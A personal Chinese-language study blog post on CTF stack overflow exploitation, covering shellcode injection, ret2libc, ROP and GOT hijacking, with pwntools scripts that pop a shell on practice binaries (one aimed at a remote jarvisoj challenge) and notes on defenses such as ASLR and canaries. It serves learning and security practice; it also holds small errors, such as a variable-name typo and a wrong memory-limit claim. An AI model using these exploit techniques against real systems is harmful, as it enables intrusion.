2019-04-05一個(gè)月的約定

一個(gè)月的約定快要到了,瘋狂補(bǔ)棧溢出知識(shí),偷看大佬們博客,希望學(xué)到點(diǎn)什么。

棧溢出學(xué)習(xí)網(wǎng)站

CTF Wiki

棧溢出好文

手把手教你棧溢出從入門到放棄(上)
手把手教你棧溢出從入門到放棄(下)

棧溢出好文中學(xué)到的

4種方法:

修改返回地址,讓其指向溢出數(shù)據(jù)中的一段指令(shellcode)
修改返回地址,讓其指向內(nèi)存中已有的某個(gè)函數(shù)(return2libc)
修改返回地址,讓其指向內(nèi)存中已有的一段指令(ROP)
修改某個(gè)被調(diào)用函數(shù)的地址,讓其指向另一個(gè)函數(shù)(hijack GOT)

1、修改返回地址,讓其指向溢出數(shù)據(jù)中的一段指令(shellcode)
payload : padding1 + address of shellcode + padding2 + shellcode

填充數(shù)據(jù)(padding1)長(zhǎng)度應(yīng)該剛好覆蓋函數(shù)的基地址,長(zhǎng)度可用gdb調(diào)試輸入大量亂碼使其報(bào)出地址,找偏移然后加“AAAA”(32位機(jī))(64位機(jī)為8位)之類覆蓋地址。
padding2 里填充若干長(zhǎng)度的 “\x90”即 NOP,只要返回地址能夠命中這一段中的任意位置,都可以無(wú)副作用地跳轉(zhuǎn)到 shellcode 的起始處, NOP Sled(“滑雪橇”)。

操作系統(tǒng)關(guān)閉了內(nèi)存布局隨機(jī)化,即Address Space Layout Randomization (ASLR) 時(shí),技術(shù)才可以生效。同時(shí),在函數(shù)調(diào)用棧上的數(shù)據(jù)(shellcode)要有可執(zhí)行的權(quán)限

2、修改返回地址,讓其指向內(nèi)存中已有的某個(gè)函數(shù)(return2libc)
payload: padding1 + address of system()(系統(tǒng)級(jí)的函數(shù))+ padding2(32位機(jī)長(zhǎng)度為4) + address of “/bin/sh”(必要的參數(shù))

system()地址:直接查看 system() 的地址或動(dòng)態(tài)庫(kù)起始地址+相對(duì)偏移。 “/bin/sh” 的地址:動(dòng)態(tài)庫(kù)里搜索字符串,如果存在,就可以按照動(dòng)態(tài)庫(kù)起始地址+相對(duì)偏移來(lái)確定其絕對(duì)地址。如果在動(dòng)態(tài)庫(kù)里找不到,可以將這個(gè)字符串加到環(huán)境變量里,再通過(guò) getenv() 等函數(shù)來(lái)確定地址。

要關(guān)閉內(nèi)存布局隨機(jī)化(ASLR)

3、修改返回地址,讓其指向內(nèi)存中已有的一段指令(ROP)
payload : padding + address of gadget 1 + address of gadget 2 + ...... + address of gadget n
(最終)payload : padding + address of gadget 1 + param for gadget 1 + address of gadget 2 + param for gadget 2 + ...... + address of gadget n + shellcode

如果想連續(xù)執(zhí)行若干段指令,就需要每個(gè) gadget(某段指令,意為小工具) 執(zhí)行完畢可以將控制權(quán)交給下一個(gè) gadget。所以 gadget 的最后一步應(yīng)該是 RET 指令,這樣程序的控制權(quán)(eip)才能得到切換,所以這種技術(shù)被稱為返回導(dǎo)向編程( Return Oriented Programming )。
(太長(zhǎng)不方便總結(jié))現(xiàn)在任務(wù)可以分解為:針對(duì)程序棧溢出所要實(shí)現(xiàn)的效果,找到若干段以 ret 作為結(jié)束的指令片段,按照上述的構(gòu)造將它們的地址填充到溢出數(shù)據(jù)中。所以我們要解決以下幾個(gè)問(wèn)題:(1)首先,棧溢出之后要實(shí)現(xiàn)什么效果?(2)其次,如何尋找對(duì)應(yīng)的指令片段?(3)最后,如何傳入系統(tǒng)調(diào)用的參數(shù)?

有兩個(gè)方面需要注意:第一找gadget“曲線救國(guó)”,第二要小心 gadget 是否會(huì)破壞前面各個(gè) gadget 已經(jīng)實(shí)現(xiàn)的部分,比如可能修改某個(gè)已經(jīng)寫入數(shù)值的寄存器。另外,要特別小心 gadget 對(duì) ebp 和 esp 的操作,因?yàn)樗鼈兊淖兓瘯?huì)改變返回地址的位置,進(jìn)而使后續(xù)的 gadget 無(wú)法執(zhí)行。

4、修改某個(gè)被調(diào)用函數(shù)的地址,讓其指向另一個(gè)函數(shù)(hijack GOT)

我們的目標(biāo)分解為:確定函數(shù) A 在 GOT 表中的條目位置, B 在內(nèi)存中的地址,將函數(shù) B 的地址寫入函數(shù) A 在 GOT 表中的條目。那么后面所有對(duì)函數(shù) A 的調(diào)用都會(huì)執(zhí)行函數(shù) B。

(1)如何確定函數(shù) A 在 GOT 表中的條目位置?例如

call 0x08048430 printf@plt

就說(shuō)明 printf 在 PLT 表中的入口點(diǎn)是在 0x08048430,所以 0x08048430 處存儲(chǔ)的就是 GOT 表中 printf 的條目地址。
(2)如何確定函數(shù) B 在內(nèi)存中的地址?
假如我們知道了函數(shù) A 的運(yùn)行時(shí)地址(讀取 GOT 表內(nèi)容),也知道函數(shù) A 和函數(shù) B 在動(dòng)態(tài)鏈接庫(kù)內(nèi)的相對(duì)位置,就可以推算出函數(shù) B 的運(yùn)行時(shí)地址。
(3)如何實(shí)現(xiàn) GOT 表中數(shù)據(jù)的修改?
巧借ROP

其它相關(guān)知識(shí)

1、現(xiàn)代操作系統(tǒng)內(nèi)存通常是以分段的形式存放不同類型的信息的。函數(shù)調(diào)用棧就是分段的一個(gè)部分(Stack Segment)。內(nèi)存分段還包括堆(Heap Segment)、數(shù)據(jù)段(Data Segment),BSS段,以及代碼段(Code Segment)。

2、32位x86架構(gòu)下的匯編語(yǔ)言有 Intel 和 AT&T 兩種格式,常用Intel,兩者最主要的差別為Intel 格式,寄存器名稱和數(shù)值前無(wú)符號(hào):
“指令名稱 目標(biāo)操作數(shù) DST,源操作數(shù) SRC”

AT&T 格式,寄存器名稱前加“%”,數(shù)值前加“$”:
“指令名稱 源操作數(shù) SRC,目標(biāo)操作數(shù) DST”

CALL:調(diào)用指令,將當(dāng)前的 eip 壓入棧頂,并將 PTR 存入 eip,格式為

CALL PTR;

RET:返回指令,操作為將棧頂數(shù)據(jù)彈出至 eip,格式為

RET;

3、GOT 全稱是全局偏移量表(Global Offset Table),用來(lái)存儲(chǔ)外部函數(shù)在內(nèi)存的確切地址。PLT 全稱是程序鏈接表(Procedure Linkage Table),用來(lái)存儲(chǔ)外部函數(shù)的入口點(diǎn)(entry),換言之程序總會(huì)到 PLT 這里尋找外部函數(shù)的地址。 PLT 表內(nèi)存儲(chǔ)的入口點(diǎn)就是 GOT 表中對(duì)應(yīng)條目的地址。

4、操作系統(tǒng)常見防御措施
首先,通常情況下程序在默認(rèn)編譯設(shè)置下都會(huì)取消棧上數(shù)據(jù)的可執(zhí)行權(quán)限,這樣簡(jiǎn)單的 shellcode 溢出攻擊就無(wú)法實(shí)現(xiàn)了。其次,可以在操作系統(tǒng)內(nèi)開啟內(nèi)存布局隨機(jī)化(ASLR),這樣可以增大確定堆棧內(nèi)數(shù)據(jù)和動(dòng)態(tài)庫(kù)內(nèi)函數(shù)的內(nèi)存地址的難度。編譯程序時(shí)還可以設(shè)置某些編譯選項(xiàng),使程序在運(yùn)行時(shí)會(huì)在函數(shù)棧上的 ebp 地址和返回地址之間生成一個(gè)特殊的值,這個(gè)值被稱為“金絲雀”(“canary”)(關(guān)于這個(gè)典故,我自行谷歌了一下)。礦工曾利用金絲雀來(lái)確認(rèn)是否有氣體泄漏,如果金絲雀因?yàn)闅怏w泄漏而中毒死亡,可以給礦工預(yù)警。類似,一旦發(fā)生棧溢出并覆蓋了返回地址,這個(gè)值就會(huì)被改寫,從而實(shí)現(xiàn)函數(shù)棧的越界檢查。最后值得強(qiáng)調(diào)的是,盡可能寫出安全可靠的代碼,不給棧溢出提供寫入越界的可能。

烏班圖的使用上

1、有用的快捷鍵

shift+ctrl+c 復(fù)制
shift+ctrl+v 粘貼
ctrl+l 清屏且消息在上方
ctrl+r 查看歷史命令
bc 按回車后可進(jìn)行簡(jiǎn)單的加減乘除
↑ ↓ 向上向下找命令

2、某些命令

我的pattern有問(wèn)題,就借用了cyclic
cyclic 150相當(dāng)于pattern create 150//制造了150個(gè)亂碼
cyclic -l 0x6261616a相當(dāng)于pattern offset 0x6261616b6261616a//尋找偏移地址,注意:只要后8位
checksec 某文件//要變成日常操作,參見大佬總結(jié),雖然我沒看懂http://www.itdecent.cn/p/8a9ef7205632
file 某文件//可以顯示文件為32位或64位
chmod [who] [opt] [mode] 文件/目錄名
who表示對(duì)象。u:文件所有者 g:同組用戶 o:其它用戶 a:所有用戶
opt則是代表操作。+:添加某個(gè)權(quán)限 -:取消某個(gè)權(quán)限 =:賦予給定的權(quán)限,并取消原有的權(quán)限
mode代表權(quán)限。r:可讀 w:可寫 x:可執(zhí)行
例如:為同組用戶增加對(duì)文件a.txt的讀寫權(quán)限:chmod g+rw a.txt
chmod [mode] 文件名//r:4,w:2,x:1
例如:d rwx rwx ---就是770
mv 來(lái)源檔 目標(biāo)檔
例如:mv ccc ./aaa //把文件ccc移到目錄aaa下
mv ccc bbb //把ccc名字改為bbb
mkdir//創(chuàng)建目錄
rmdir//刪除空目錄
rm//刪除目錄或文件
rm -rf//強(qiáng)制刪除所有
touch //創(chuàng)建文件或改文件日期(可創(chuàng)多個(gè)文件)
cp//復(fù)制文件或目錄
例如:cp aaa bbb或cp aaa 位置
cat//查看文件內(nèi)容
echo " ··· ">某文件//可順便創(chuàng)一個(gè)文件

rop的小工具gadget
查找可存儲(chǔ)寄存器的代碼
ROPgadget --binary level0(文件名) --only 'pop|ret' | grep 'eax' | grep 'ecx' | grep 'edx'//一次性找三個(gè),但是要注意順序

ROPgadget --binary rop --only 'pop|ret' | grep 'eax' | grep 'ecx' | grep 'edx'

查找字符串

ROPgadget --binary rop --string "/bin/sh"

查找有int 0x80的地址

ROPgadget --binary rop --only 'int'

3、某些腳本

這些都是32位的

level0的腳本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
lf = ELF('./oj/level0')
callsys_addr = elf.symbols['callsystem']
io = process('./oj/level0')
io.recvuntil('World\n')
payload = 'A' * (136) + p64(callsys_addr)
io.send(payload)
io.interactive()
io.close()

level2的腳本1

#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
# p = process('./level2')
p = remote("pwn2.jarvisoj.com","9878")
system = 0x8048320
binsh = 0x804A024
#system("/bin/sh")
payload = 0x8c * "A" + p32(system) + p32(0) + p32(binsh)  #將/bin/sh壓入棧中作為system 的參數(shù)
p.sendline(payload)
p.interactive()

level2的腳本2

#-*- coding:utf-8 -*-
from pwn import *

p = process('./level2')
system = 0x8048320#system("/bin/sh")
binsh = 0x804A024

payload = 0x88 * "A" + p32(0) + p32(system) + p32(0) + p32(binsh)
#第一個(gè)p32(0)可改成“AAAA”(四個(gè)垃圾字符),那不就是腳本1嗎,哈哈  
p.sendline(payload)
p.interactive()

ret2syscall的腳本
execve(‘/bin/sh’,NULL,NULL)execve的系統(tǒng)調(diào)用號(hào)是0x0b
execve系統(tǒng)調(diào)用號(hào)賦給eax寄存器,將參數(shù)”/bin/sh”的地址賦值給ebx寄存器,參數(shù)NULL,NULL賦值給ecx和edx寄存器,觸發(fā) 0x80 號(hào)中斷

#encoding:utf-8
from pwn import *
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = 'A' * 112#用以往定位偏移的方法得到
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x00) + p32(0x00) + p32(bin_sh)
#address of gadget + param for register
payload +=p32(int_0x80)
io = process('ret2syscall')
io.sendline(payload)
io.interactive()

ret2shellcode的腳本

# -*- coding: utf-8 -*-

from pwn import *
sh = process('./ret2shellcode')
buf = 0x804A080
shellcode = asm(shellcraft.sh())#自動(dòng)生成shellcode
sh.sendline(shellcode.ljust(112,'a')+p32(buf))
sh.interactive()

ida的使用上

大佬的ida用法
http://www.itdecent.cn/p/ee0fcf93c8e7

以下是新新手的ida用法

1、有用的快捷鍵

shift+F12//查找字符串
R ASCII->字符
H 字符->ASCII
G 跳地址
Alt+t 找特定字符串

OllyDebug的使用

大佬的OllyDebug用法
http://www.itdecent.cn/p/6c8efc15f1ad

以下是新新手的OllyDebug用法
ctrl+G 跳轉(zhuǎn)到某個(gè)地址處
F2 加斷點(diǎn)
ctrl + F2 重啟程序
F7 單步進(jìn)入
F8 單步不進(jìn)入
F9 直接運(yùn)行

其它

32位程序與64位程序的區(qū)別

尋址能力:64位最大支持到16GB內(nèi)存,而32位只支持4G內(nèi)存
機(jī)器字長(zhǎng):64位為8個(gè)字節(jié),而32位為4個(gè)字節(jié)
調(diào)用函數(shù)的參數(shù):64位程序中的函數(shù)參數(shù)先放在寄存器中,而32位直接放入棧中
寄存器順序?yàn)閞di,rsi,rdx,rcx,r8,r9

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容